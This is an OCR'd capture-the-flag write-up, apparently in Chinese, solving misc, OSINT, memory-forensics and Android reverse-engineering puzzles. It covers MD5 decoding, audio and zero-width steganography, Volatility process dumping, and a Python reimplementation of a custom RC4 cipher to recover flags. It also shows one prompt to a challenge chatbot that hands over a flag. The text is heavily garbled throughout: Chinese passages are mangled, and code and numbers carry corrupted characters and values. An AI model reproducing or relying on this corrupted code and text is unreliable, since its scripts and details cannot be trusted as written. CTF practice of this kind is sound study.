20 '9e3669d19b675bd57058fd4664205d2a' ,
21 'el671797c52e15f763380b45e841ec32’,
22 'fbade9e36a3f36d3d676c1b808451dd7"',
23 '2510¢c39011c5be704182423e3a695€91 ",
24 '0ccl75b9cOf1b6a831c399e269772661",
25 '415290769594460e2e4859229041345d"' ,
26 '7Tb774effe4a349c6dd82ad4f4f21d34c’,
27 'a87ff679a2f3e71d9181a67b7542122c",
28 '7fc56270e7a70fa81a5935b72eache29’,
29 '865c0cOb4ab0e063e5caa3387cla8741",
30 '9e3669d19b675bd57058fd4664205d2a' ,
31 'el671797c52e15f763380b45e841ec32",
32 'b14a7b8059d9c055954c92674ce60032" ,
33 '03c7cOace395d80182db07ae2c30f034 "',
34 '4b43b0aee35624cd95b910189b3dc231 ",
35 '4b43b0aee35624cd95b910189b3dc231 ",
36 '4b43b0aee35624cd95b910189b3dc231"
37 ]

38 print(len(sql_md5_values))

39 md5_dict = generate_md5_dict()

40  decoded_string = ''.join([md5_dict.get(md5, '') for md5 in sql_md5_values])
41  print("Decoded String: ", decoded_string)

42 #RainyMaklLovezhayud4Aive_srrr

AEMRERE, REXM2MUBBEHREZBRIAI(((
RainyMarks_Loves_zhayu_4Aiverrrr

BB EE L 20xFHI0X00, RIEIRR=12—4A, Oxff21, 0x0020, HEMET =I5,
XA S, NIFRFEXHR0-7, BAXNE/\#HE, B +#E], long_to_bytesEIAI1E
Zlflag,

1 from Crypto.Util.number -dimport *
2  ss="!

3  with open('0-7.flag','rb') as f:
4 s=f.read()

5 for i in s:

6 if di==0xff:

7 ss+="'1"

8 else:



9 ss+='0"

10  sss='"

11 for i in range(0,len(ss),3):

12 sss+=str(int(ss[i:i+3],2))

13 a=int(sss,8)

14 print(long_to_bytes(a))

15  #flag{Hope_RainyMarks_make_your_happy©12345e}

MEM

Deepsound
DeepSound 2.2 - B X
™
d( )
“ . 3 @
Hide Data Inside Audio Audio Converter Settings  Help
= “
Open carrier files Add secret files Encode secret files Extract secret files
Carrier audio files :
File Dir Size (MB) | Data format
o SEINE.wav C\Users\jyzho\Desktop 1.1 MB v2 (2024)

Secret files in C\Users\jyzho\Desktop\=Z1E.wav:

Secret file name Size (MB)

3] hint.txt < 0.1 MB

Output directory : C:\Users\jyzho\Documents\DeepSound

A
it

FIF



« C @ O 8 https://330k.github.io/misc_tools/unicode_steganography.html B E o ® f©1 & & =
OydmEstss @ WFEEE DRERL @ sormsEs Deamias tess
~
Unicode Steganography with Zero-Width Characters
This is plain text steganography with zero-width characters of Unicode.
Zero-width characters is inserted within the words.
JavaScript library is below.
http://330k.github.io/misc_tools/unicode_steganography.js
Text in Text Steganography Sample
Original Text: | Clear | (length: 140) Steganography Text: | Clear | (length: 380)
TR A SEERMNNA A
R % R
BYEMA Wp—R X~
Ex o ranin 8% el BRAR
% ARAD i ey BN E
BIn—IE R —05 BAReINRE
18 % iRt BB v Gresitnn ARTEHTE
bl A L OE A 2 A )/ ek
Hidden Text: | Clear | (length: 30) EERMSIE
idden Text: | Clear | (length: ‘ z EiRE EER
w0_4_nAiLOng_wO_cAi_4_Nal_I0On9 MUILFERH R85
HuEd HEd
EBERBEIRNE
FRBBE R
MitERE S v
MERS S 4
Download Stego Text as File
Y g
Binary in Text Steganography Sample
Original Text: | Clear | (length: 90) Steganography Text: | Clear | (length: 0)
The quick brown fox jumps over the lazy dog
1924RRTRAON - - fw1 DY L
g R w i gy ]
1:& = ana IJ
<« C @ O 8 dialabc.com/sound/detect/index.html 8 % ®@ B & O =
OxamEnss @ ¥ O #ENt O sUrsi Omanigs LoBs
Numvers
]SV{;:E%“ Tones Found Tone Start Offset [ms] End Offset [ms] Length [ms] a
DTMF 9 0x15 180 + 15 180 + 30
Generate
Detect 8 27115 482+ 15 210 + 30
Explain
FAQ o 542+ 15 783 £ 15 241+ 30
Music B 843+ 15 1,054 + 15 210 + 30
Anagrams
Links 1 1,114 £15 1,325+ 15 210 + 30
About
7 1,385+15 1,596 + 15 210 + 30
4 1,687+15 1,897 15 210 £ 30
Tools
3 1,958 +15 2,138 + 15 180 + 30
Word Search
Compare Prefixes 8 2,229 + 15 2,440 £ 15 210 + 30
Prefix Word Search o 2,500 £15 2,741+ 15 241+ 30
Multiple Word Search 1 2,801+15 3,012 15 210 £ 30
Key Pad Map 2 3,072£15 3,283+ 15 210 £ 30
TollFree Availability
7 3,343 15 3,584 £15 241+ 30
4 3,645+ 15 3,856 + 15 210 £ 30
3 3,916+ 15 4,097 £15 180 + 30
4 4,187 £ 15 4,398 £15 210 + 30
3 4,458 15 4,699 + 15 241+ 30
4 4,759 £15 4,970 £ 15 210 £ 30
4 5,030 £ 15 5,241+ 15 210 £ 30
9 530215 5543+15 24130
9 5,603+ 15 578415 180 + 30
4 5874 +15 6,085+ 15 210 + 30
3 6,145 + 15 6,356 + 15 210 + 30
3 6,416 £ 15 6,657 £ 15 241+ 30
4 6,717+ 15 6,928 +15 210 + 30
8 6,989+ 15 7,199 + 15 210+ 30
o 7,260 + 15 7,501+ 15 241+ 30
5 7,561+ 15 7,772 £15 210 + 30
3 7,862 + 15 8,043 15 180 + 30
3 8,103 15 8,344 15 241+ 30
7 8,404 £ 15 8,615+ 15 210 + 30
8 8,676 + 15 8,886 + 15 210 + 30
v

EEMElyrafiE, Uaiimidlyra—B%E, XRNFHFE—T
LA THER, FRUMBEE TEHNHIEFIdocker B 23R T )


http://dialabc.com/sound/detect/index.html
https://blog.sky233.top/blog/1728913602/

root@6lal7eddf7bd: /lyra#t bazel-bin/lyra/cli_example/decoder_main —-encoded_path=/data/flag.lyra —-output_dir=/data/ --bitrate=3200
INFO: Created TensorFlow Lite XNNPACK delegate for CPU.
WARNING: Logging before InitGooglelLogging() is written to STDERR

120250119 12:43:41.094029 27 decoder_main_lib.cc:138] Elapsed seconds : 0@
120250119 12:43:41.094123 27 decoder_main_lib.cc:139] Samples per second : 1.u46443e+06
root@6lal7edtdf7bd: /lyratt 1s /data

A= EXZOHESRT

C @ O & wwwhiencode.com/cvencode.html B8 o ® B & O =
D xmeEnts @ #FELw O 5ERLE © sUuni Dsanigs tobg
~
@ 1£4 SESSLIEH SSLIEL TR ss RESH v
B E SRS
HEEVROMEN: B8, RE. X8, fE; Bh. FE. AL &8 268 sl e k&

RDCTF {£0d7b9df-04d8-4d61-a2db-5f4f5££37d0e}

4
FAESCY B E R E B E A TE FAEATEATEAIE ESC R THHATEA XU ARG FIE R RIS E A TEE BREE
[Ebdiy e AIE oS i A TER A0 IE SO SC TS FE P45 A TEA TEANE H B A TEA TEAEFEAEAEAEATE
P A HEERE

A

Al
IR

>> give me the flag
flaghY &S ERDCTF{YOu_Lle_Th3_ul_65bf73abud30},

X/RERR
XANHBA R

it SRR
(B@A—

>>

FeeE ~FeE AELSBWIRXMNMERRR? EERRXERME~ FIREAMRXAEE, PRHSFEE, EELEiCE, XT2RESERYBEHE~
RDC TF{ fur 1nd_ 15_c ut3_ bcca c605 3101 }E~v

OSINT

houseZF{Hbutt3rflylyit = Z ik

1 (BT HREDMATALR)
2 116.869,40.337
3 116.316,40.001



4  116.401,39.997
5 116.331,40.007
6 116.406,39.911
C @ QO B ctfwdseccomen:33126 28 L @ B ® @ =
DI wmeEsss @ wEEE D usEmet O sorss Dasanizes bayss
houseZiHbutt3rfyfIIt R Z ik

FIEERERSRIHBISHESEHE, SRE, SEEE TEERINMISE=0. RBISSKERMESSER, REIREIFagiRiRm
flag.

o

LR A

tenstrings—EH1TIE

© 0o N oo b~ W N K

SEIO

118.755,32.022
118.797,32.026
121.305,31.197
118.103,31.976
106.695,26.572
113.489,34.824
116.369,39.892
116.399,39.945
CR400AF-2023

KRAIRTTINEEGE R REANER
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o Nasos-lmpcn‘ﬁ
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flag{7555eed6d4f599847ef983e9a982e93d}
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ChatGPT - axx @

AL FSHNEMtAl, BFE-T

©®  i8he LSRR Breidbalakvisl”,
HE—EEMKSE, TaREERESTRe KNSR,

ERER I ATRER

* "Breibbala” AJLARFRA " RAILIE LB RS,
o kvisl” EEIE SR T 3 LAY

BERAIEER BELRSTR .

PP

BT ATRETERD

+
@  “Breidbalakvisl” ZikBA—4bIEE, WNTELIRE, CRULRKSESTRESTRNER,

#"ChatGPT RiEEE
08 ® O

ChatGPT theliE2I0H, WREEREE.

€ 2 @ % googlecom/maps/@63.813462,-18.0119339,3a,90y,30.62h,91.81t/data=!3m7!1e1!3m5!1sXY6Bu-pZwGrmwy5_jA-uAiw!2e0!6shttps:%2F%2F streetviewpixels-pa.googlea.. [5 ¥ m3 °

8% Google & Q ¢ °
Hringvegur ' : I .
' ¢

@

flag{80c7218d9f5e7¢c332d15bc94c794f9¢9}



Forensics

ez_Painter
&R TAmspaint.exeft A EEFHA T (

root @DESKTOP-LAMRDOK: home/starr
File Actions Edit View Help

/home/starr
vol.py -f painter.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search ..
Suggested Profile(s) : Win7SP1x64, Win75P@x64, Win2008R25P0x64, Win2008R25P1x64_24000, Win20@8R25P1x64_23418, Win2008R25P1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layerl WindowsAMD64PagedMemory (Kernel AS)
AS Lay FileAddressSpace (/home/starr/painter.raw)
PAE type : No PAE
DTB : @x187eeoL
KDBG : 0xf800081akedad|
Number of Processors 6
ge Type (Service Pack) : 1
KPCR for CPU @ : Oxfffff8000lasfdeoL
KPCR for CPU 1 : @xfffffesooleeoe0oL
KPCR for CPU 2 : Oxfffff88001e76000
KPCR for CPU exfffffasooleecooolL
KPCR for CPU oxfffffeseolf62000L
KPCR for CPU 5 : @xfffff88001fdsaaoL
KUSER_SHARED_DATA oxfffff7e000000000L
Image date and time : 2024-11-87 11:41:46 UTC+0000
Image local date and time : 202 =87 19:41:46 +0800

/home/starr
vol.py -f painter.raw —profile=Win75P1x64 pslist
Volatility Foundation Volatility Framework 2.6.1
offset(V) Name PID  PPID

Thds 64 Start

oxfffffase0cd1dosd System 4 105 2024-11-07 11:40:09 UTC+0000
0xfffffagoedosbese smss.exe 264 2 3 2024-11-07 11:40:09 UTC+@000
exfffffaBe0d9B89780 csrss.exe 360 9 2024-11-07 11:40:12 UTC+@000
oxfffffaso0e201060 wininit.exe 412 4 ¢ 2024-11-07 11:40:13 UTC+0000
0xfffffaB00e200720 csrss.exe 424 2024-11-07 11:40:13 UTC+Q000
OxfffffaB00e254910 services.exe 468 2024-11-07 11:40:13 UTC+0000
@xfffffageedo9b5fe lsass.exe 486 2024-11-07 11 14 UTC+@000
OxfffffaB@@e263b30 Lsm.exe 492 2 2024-11-07 11:40:14 UTC+0000
oxfffffaso0e2a5280 winlogon.exe 604 5 2024-11-07 11:40:14 UTC+0000
o=fffffaBo0e2a8%e@ svchost.exe 612 2024-11-07 11:40:14 UTC+0000
oxfffffaB0de2cc200 svchost.exe 708 2024-11-07 11:40:15 UTC+0000
0xfffffagoee2fab3e@ svchost.exe 776 7 2024-11-07 11 UTC+@000
OxfffffaB0@e3075c@ svchost.exe 812 3 2024-11-07 11:40:15 UTC+@000
oxfffffaB00e311060 svchost.exe 876 5 2024-11-07 11:40:15 UTC+0000
@=fffffaBoee32fb30 svchost.exe 916 2024-11-@7 11:40:15 UTC+Q000
oxfffffagooe3desad svchost.exe 956 2 2024-11-07 11:40:15 UTC+0000
0xfffffasoee2bfb3@ svchost.exe 156 7 2024-11-07 11 17 UTC+@000
0xfffffaB0@es2bb3@ spoolsv.exe 288 2024-11-07 11:40:18 UTC+@000
OxfffffaBo0es66650 svchost.exe 1036 2024-11-07 11:40:18 UTC+0000
@xfffffaBooes6cb3® svchost.exe 1e6@ 6 7 50 2024-11-07 11:40:18 UTC+@000
OxfffffaB@@esbeb3® inetinfo.exe 1096 2024-11-07 11:40:18 UTC+@000
oxfffffaso0esbfodd svchost.exe 1256 2024-11-07 11:40:19 UTC+0000
@xfffffago@esd6b3 VGAuthService. 1288 . 9 2024-11-07 11:40:19 UTC+Q000
oxfffffagodesfsb3d vmtoolsd.exe 1332 2024-11-07 11:40:19 UTC+0000
@xfffffageoesfeb3d svchost.exe 1356 2024-11-07 11:40:19 UTC+@000

root@DESKTOP-LQMRDOK: /home/starr

File Actions Edit View Help

exfffffageacdldesd System 2024-11-07 11:40:09 UTC+0000
0xfffffaBo@dosbosd smss.exe 2024-11-07 11:40:09 UTC+@000
oxfffffas00doso780 csrss.exe 360 2024-11-07 11:40:12 UTC+0000
exfffffaBo0e201060 wininit.exe 412 4 g 2024-11-@7 11:40:13 UTC+Q000
0xfffffaB00e200720 csrss.exe 424 2024-11-07 11:40:13 UTC+@000
oxfffffaB00e254910 services.exe 468 6 8 2024-11-07 11:40:13 UTC+0000
oxfffffageedoabsfe lsass.exe 484 2024-11-07 11:40:14 UTCs+Q000
OxfffffaBo0e263b30 lsm.exe 492 7 2024-11-07 11 14 UTC+0000
@xfffffaBo@e2as28@ winlogon.exe 604 2024-11-07 11 14 UTC+@000
oxfffffagoee2a8%e@ svchost.exe 612 5 2024-11-07 11:49:14 UTC+0000
0xfffffaB0fe2cc200 svchost.exe 708 2 2024-11-07 11:40:15 UTC+0000
exfffffagoee2fab3e svchost.exe 776 2024-11-07 15 UTC+@eed
exfffffaBe@e3075cd svchost.exe 812 2 2024-11-087 11 15 UTC+@000
0xfffffaBo0e311060 svchost.exe 876 2024-11-07 11 15 UTC+0008
oxfffffageoe32fb3@ svchost.exe 916 : 7 2024-11-07 11:40:15 UTC+0000
exfffffaBe@e3lesad svchost.exe 956 382 2024-11-87 11:40:15 UTC+0000
Oxfffffagede2bfb3@ svchost.exe 156 2024-11-87 11:40:17 UTC+Q000
Oxfffffadeoes2bb30 spoolsv.exe 288 2024-11-07 18 UTC+0000
@xfffffaBo@es66650 svchost.exe 1836 2024-11-07 11:4 18 UTC+@000
oxfffffagooesbcb3n svchost.exe 1060 2024=-11-07 11:40:18 UTC+0008
oxfffffageoes6eb3 inetinfo.exe 1096 5 2024-11-07 11:40:18 UTC+0000
Bxfffffago@estbf9dd svchost.exe 1256 b 2024-11-87 11:40:19 UTC+2000
oxfffffagooesd6b30 VGAuthService. 1288 3 2024-11-07 11:49:19 UTC:+0000
exfffffagooe 30 vmtoolsd.exe 1332 2024-11-07 11:40:19 UTC+0000
OxfffffaB0@esfeb3d svchost.exe 1356 2024-11-07 11:40:19 UTC+2000
oxfffffaso0es40060 dllhost.exe 1776 2024-11-07 11:40:20 UTC+0000
exfffffaBo0e5b9b30 WmiPrvSE.exe 1828 2024-11-87 11:40:21 UTC+@000
oxfffffagooe5d2060 dllhost.exe 1892 2 2024-11-07 11:40:21 UTC+0000
oxfffffago0es20b30 msdic.exe 1984 5 8 2024-11-07 11:40:21 UTC+0000
@xfffffaBpoesdd4@d VSSVC.exe 2064 2 2024-11-87 11:40:24 UTC+@000
oxfffffago0e75b060 WmiPrvSE.exe 2168 2024-11-07 40 UTC+0000
oxfffffagooe76e060 WmiApSrv.exe 2232 7 2024-11-0@7 uTC+0000
0xfffffaB0@d9al060 taskhost.exe 2324 6 5 2024-11-07 49 UTC+0000
oxfffffase0e7d5b30 sppsvc.exe 2480 7 2024-11-07 11:40:52 UTC+0000
oxfffffageee272b3@ dwm.exe 2616 7 2024-11-07 101 UTC+e000
OxfffffaBo0e7fBO60 explorer.exe 2640 23 5 2024-11-07 11:41:01 UTC+@000
oxfffffaso0es23530 vmidservice.ex 2716 2 2024-11-07 11:41:03 UTC+0000
exfffffageadldcsle vmtoolsd.exe 2724 9 2024-11-07 11:41:@3 UTC+Q000
oxfffffaBo0e89b30d TrustedInstall 2964 2024-11-87 11:41:10 UTC+@000
@xfffffageddb6ed6d mspaint.exe 276 2024-11-07 11:41:22 UTC+0000
oxfffffageee7d1310 notepad.exe 2436 2024-11-07 11:41:29 UTC+0000
OxfffffaB00esbc690 wlrmdr.exe 2300 _ 2024-11-07 11:41:31 UTC+0000  2024-11-07 11:41:38 UTC+0000

/home/starr
vol.py -f pa aw —profile=Win75P1x64 memdump -p 2276 —dump-dir=/home/starr
Volatility Foundation Veolatility Framework 2.6.1
L L L LT T paap——

Writing mspaint.exe [ 2276] to 2276.dmp

/home/starr
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&R

| stringToByteArray(String’
T swap(byte[], int, int) w

S AR F . apk &, MainActivity €, NailongRC4 &, GetKey (€, GetCipherText
o AiB ackage com.example.ez_android;
En android. support.vd packeg serampRe.n ’
En androidx import android.os.Bundle;
P com import android.view.KeyEvent;
import android.widget.EditText;
En exomple. ez_sndroid import android.widget. Textview;
(&, GetCipherText import androidx.appcompat.app.AppCompatActivity;
&, GetKey import java.util.Arrays;
- & MainActivity /* loaded from: classes.dex */
7. m1861ambda$onCreate$@$cor 15 | public class Mainactivity extends AppCompatactivity
#, onCreate (Bundle) void /* JADX INFO: Access modifiers changed from: protected */
& NailongRC4 @override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
N e 16 public void enCreate(Bundle bundle) {
oS byte[] 17 super.onCreate(bundle);
fu dragonCounter int 18 setContentView(R. layout.activity main);
P 20 final EditText editText = (EditText) findviewById(R.id.inputEditText);
+1 int 21 final TextvView textView = (TextView) findviewById(R.id.textView);
fe3 int 24 final String key = GetKey.getKey();
i, byteArrayToString(byte[]] 26 final byte[] cipherText = GetCipherText.getCipherText();
% initk by id 128 editText.setOnEditorActionListener(new TextView.OnEditorActionListener() { // from class: com.exomple.er_ondroid.MainActivitySSExternalSyntheticlombdod
nitkey(byte[]) void @override // android.widget. Text\iew.OnEditordctionListener
" process(byte[]) byte[] public final boolean onEditorAction(Textview textView2, int i, KeyEvent keyEvent) {
m stringToByteArray(String] return MainActivity.this.m1861 leez_androidMai editText, textView, key, cipherText, textvView2, i, keyEvent);
" swap(byte[], int, int) w "
R H ) ’
In google
I kotlin /* JADX INFO: Access modifiers changed from: pochoge-private */
Pa kotli il /* renamed from: lambda$onCreate$@Scom-example-ez_android-Haindctivity reason: not valid java name */
s COUOELNES 29 public /* synthetic */ boolean m1861 eateses pleez_androidiainActivity(EditText editText, TextView textview, String str, byte[] bArr, TextView te
En org if (1 ==6) {
e &R 30 String trim = editText.getText().toString().trim(};
n 32 if (trim.isEmpty()) {
(& APK signature 3 textview. setTexc("HEAMTE!
[ Summary return true;
}
37 NailongRC4 nailengRC4 = new NailongRC4();
38 nailongRC4. initKey(str.getBytes());
41 if (4rrays.equals(bArr, nailongRC4.process(trim.getBytes()))) {
42 textView. setText(“BAMIM! “);
46 ((Textview) findviewById(R.id.textView2)).setText("Congratulations! ");
} else {
as textView. setText(" A &R *);
}
return true;
return false;
}
}
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55 WSEEIF AN . apk &, MainActivity €, NailongRC4 &, GetKey €, GetCipherText
B 1)
package com.example.ez_android;
[n android. support.vd
En androidx /* looded from: classes.dex */
s com 1@ | public class NailengRCH {
private byte[] § = new byte[256];
En sxample. az_sndrold private int dragonCounter;
&, GetCipherText private int i;
€, GetKey private int j;
_CEEA S 1 publie veid initKey(byte[] barr) {
™, m1861lambda$onCreate$@fcor 12 int length = barr.length;
%, onCreate(Bundle) void for (int i = @; 1 < 256; i++) {
@ NailongRC4 15 , this.5[i] = (byte) i;
fo S byte[] 18 this.j = @;
fa dragonCounter int 13 this.dragonCounter = 1;
i int 21 this.i = @;
i while (true) {
foj int int 12 = this.i;
o eArrayToString(byte[]] if (i2 < 256) {
_,' :y:tl( (: ) ‘S(‘:t o 2 int i3 = (this.dragonCounter + i2 + bArr[i2 ¥ length]) & 255;
» initkey(byte[]) vol B this.dragonCounter = 13;
" process(byte[]) byte[] | 23 int 14 = this.i;

byte[] bArr2 = this.S;
int 15 = (i4 + bArr2[i2] + bArr[i2 ¥ length] + (i3 ~ (i2 * 7))) & 255;
this.q = i5;

25 swap(bArr2, 12, i5);
s google this.i++;
En kotlin ) else {
£n kotlinx. coroutines ;: ::::; N :;
[norg return;
w BRI }
(§ APK signature y ¥
[ Summary
32 public byte[] process(byte[] bArr) {
33 byte[] bArr2 = new byte[bArr.length];
35 for (int i = @; i < barr.length; i++) {
36 int 12 = (this.i + 1) & 255;
this.i = i2;
37 int i3 = this.§;
byte[] bArr3 = this.S;
int i4 = (i3 + barr3[i2] + (i2 * 3)) & 255;
this.j = i4;
38 swap(bArr3, i2, i4);
a1 byte[] barrd = this.5;
byte b = bArr4[this.i];
byte b2 = bArré[this.j];
int i5 = this.dragonCounter;
int i6 = ((b ~ b2) ~ bArra[(i5 + i) & 255]) & 255;
42 this.dragonCounter = (i5 + 16 + b2) & 255;
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IAEF. apk €, MainActivity €, NailongRCa €, Getkey €, GetCipherText

BB :
. 1 package com.example.ez_android;
android.support.vd >
androidx 3 /* loaded from: classes.dex */
com 4 public class GetKey
. 5 public static String getKey() {
example.ez_android 5 return "nailong";
€, GetCipherText 7 }
€, GetKey 8}
€, MainActivity

™ m1861lambda$onCreate$0$cor

T, onCreate(Bundle) void
€, NailongRC4

fo S byte[]

fs dragonCounter int
foi int

foj int

i byteArrayToString(byte[]]

™ initKey(byte[]) void

™, process(byte[]) byte[]

m stringToByteArray(String!
T, swap(byte[], int, int) w
&R :

google
kotlin
kotlinx.coroutines
I org
= ZEXM
9 APK signature
[=] Summary

WAHIFH. apk €, Mainactivity €, NailongRCa €, Getkey €, GetCipherText
BB
android. support.v4d
androidx
com
example.ez_android
€, GetCipherText
€, GetKey
€, MainActivity
™, m1861lambda$onCreate$0$cor
", onCreate(Bundle) void
€, NailongRC4
fo S byte[]
fs dragonCounter int

package com.example.ez_android;

wn e

/* loaded from: classes.dex */
public class GetCipherText
public static byte[] getCipherText() {
return new byte[]1{-53, -31, -107, -112, 25, -125, 115, 59, -55, 96, -32, 63, -127, 6, 1, -3, 52, -76, -20, -102, 6, 62, 126, -96, -108, 97, 53, 121, -43, 33
\
7

RNE- RIS

b

foi int
foj int
% byteArrayToString(byte[]]
™ initKey(byte[]) void
™, process(byte[]) byte[]
M stringToByteArray(String]
™, swap(byte[], int, int) w
&R E
google
kotlin
kotlinx.coroutines
norg
= RESH
g APK signature
[=] Summary
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SR AREIT

class NailongRC4:
def __init__(self):
self.S = bytearray(256)
self.dragonCounter = 0
self.d 0
self.j 0

0 N o b~ W N -

def initKey(self, bArr):




9 length = len(bArr)

10 for i in range(256):

11 self.S[i] = i

12 self.j = 0

13 self.dragonCounter = 1

14 self.i = 0

15 while self.i < 256:

16 i3 = (self.dragonCounter + self.i + bArr[self.i % length]) & 255

17 self.dragonCounter = i3

18 i5 = (self.j + self.S[self.i] + bArr[self.i % length] + (i3 *
(self.i x 7))) & 255

19 self.j = i5

20 self.swap(self.S, self.i, i5)

21 self.i += 1

22 self.i = 0

23 self.j = 0

24

25 def process(self, bArr):

26 bArr2 = bytearray(len(bArr))

27 for i in range(len(bArr)):

28 self.i = (self.i + 1) & 255

29 i4 = (self.j + self.S[self.i] + (self.i x 3)) & 255

30 self.j = i4

31 self.swap(self.S, self.i, i4)

32 b = self.S[self.i]

33 b2 = self.S[self.j]

34 i5 = self.dragonCounter

35 i6 = ((b " b2) M self.S[(i5 + i) & 255]) & 255

36 self.dragonCounter = (i5 + i6 + b2) & 255

37 bArr2[i] = self.S[((b + b2 + self.S[(b A b2) & 255]) + 1i6) & 255]
A bArr[i]

38 return bytes(bArr2)

39

40 def swap(self, bArr, i, i2):

41 bArr[i], bArr[i2] = bArr[i2], bArr[i]

42

43 @staticmethod

44 def byteArrayToString(bArr):

45 return ' '.join(f'{b:02X}"' for b in bArr)

46

47 @staticmethod

48 def stringToByteArray(s):

49 return bytearray(int(x, 16) for x in s.split())

50 key = b"nailong"

51 ciphertext = [

52 -53, -31, -107, -112, 25, -125, 115, 59, -55, 96, -32, 63, -127, 6, 1, -3,
53 52, -76, -20, -102, 6, 62, 126, -96, -108, 97, 53, 121, -43, 33, -28, 104,



54
55
56
57
58
59
60
61

-162, 0, -19, -15, -51, -58, -52, -94, -98, -62, 51, -16, 76
]
ciphertext = bytearray((x + 256 if x < 0 else x) for x in ciphertext)
rc4 = NailongRC4()
rc4.initKey (key)
decrypted = rc4.process(ciphertext)
print(f"Decrypted: {decrypted.decode('utf-8')1}")
#flag{hahah_woshibeiliya_guangzhiguo_wandanla}












